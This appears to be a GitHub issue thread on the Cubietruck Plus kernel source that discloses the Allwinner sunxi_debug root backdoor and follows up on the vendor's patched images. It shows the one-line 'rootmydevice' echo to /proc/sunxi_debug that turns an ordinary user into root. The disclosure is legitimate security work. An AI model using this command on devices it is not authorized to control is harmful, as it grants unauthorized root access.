cubieboard / Cubietruck_Plus-kernel-source

Geek Repo:Geek Repo

Github PK Tool:Github PK Tool

Local privileges escalation on sun8i

ThomasKaiser opened this issue · comments

Are you affected too?

tk@bananapim3:~$ id
uid=1000(tk) gid=1000(tk) groups=1000(tk),20(dialout),27(sudo),29(audio),44(video),46(plugdev),108(netdev)
tk@bananapim3:~$ echo "rootmydevice" > /proc/sunxi_debug/sunxi_debug 
tk@bananapim3:~$ id
uid=0(root) gid=0(root) groups=0(root),20(dialout),27(sudo),29(audio),44(video),46(plugdev),108(netdev),1000(tk)

Congratulations. By ignoring this that long you might also get some individual media attention soon: http://www.theregister.co.uk/2016/05/09/allwinners_allloser_custom_kernel_has_a_nasty_root_backdoor

commented

Hi ThomasKaiser, thanks for your notice. that is a serious problem.we have change the code to avoid it .

How many of your Cubietruck Plus customers are still affected by this exploit? Did you inform them, provide a new kernel package and new OS images?

commented

Of course, a new image is neccecssary to replace the old image, we are doing it in these days.

Any updates on the new image?

Any updates on the new image?

Just checked on https://mega.nz/#F!0gREnYCQ!dBuYl9YgMP8r2Diw_BuStg!MlI0VZhA

CB5 images are dated back to 2016-04-11 which was 3 weeks before I reported the rootmydevice vulnerability to Cubietech:

 macbookpro-tk:~ tk$ 7z l /Users/tk/Downloads/linaro-server-cubietruck-plus-card-hdmi-v1.0.img.7z 
 
 7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
 p7zip Version 16.02 (locale=utf8,Utf16=on,HugeFiles=on,64 bits,4 CPUs x64)
 
 Scanning the drive for archives:
 1 file, 180786642 bytes (173 MiB)
 
 Listing archive: /Users/tk/Downloads/linaro-server-cubietruck-plus-card-hdmi-v1.0.img.7z
 
 --
 Path = /Users/tk/Downloads/linaro-server-cubietruck-plus-card-hdmi-v1.0.img.7z
 Type = 7z
 Physical Size = 180786642
 Headers Size = 199
 Method = LZMA:24
 Solid = -
 Blocks = 1
 
    Date      Time    Attr         Size   Compressed  Name
 ------------------- ----- ------------ ------------  ------------------------
 2016-04-11 09:59:49 ....A    889192448    180786443  linaro-server-cubietruck-plus-card-hdmi-v1.0.img
 ------------------- ----- ------------ ------------  ------------------------
 2016-04-11 09:59:49          889192448    180786443  1 files